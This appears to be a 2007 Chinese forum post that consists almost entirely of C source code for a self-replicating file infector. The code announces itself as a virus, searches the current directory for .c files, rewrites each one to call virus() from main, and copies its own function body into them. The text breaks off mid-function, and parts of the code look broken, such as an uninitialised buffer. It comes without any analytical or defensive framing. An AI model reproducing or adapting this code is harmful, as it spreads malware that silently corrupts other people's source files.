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初生襁褓狮
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发表于：
2007-11-11 13:18
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短消息
资料
} #include <stdio.h> #include <dir.h> void main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; char *bracket="}"; char *main="main"; char *include[2]={"stdio.h","dir.h"}; char *int_virus="int virus()"; char *buffer; int done,i,j=0,flag=0; printf("\nI have a virus. Writen by PuBin\n"); done = findfirst("*.c",&ffblk,0); while (!done) { i=0; if ((in = fopen(ffblk.ff_name, "rt"))== NULL) { goto next; } do{ if(i>=50) { fclose(in); goto next; } p=fgets(buf ,80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
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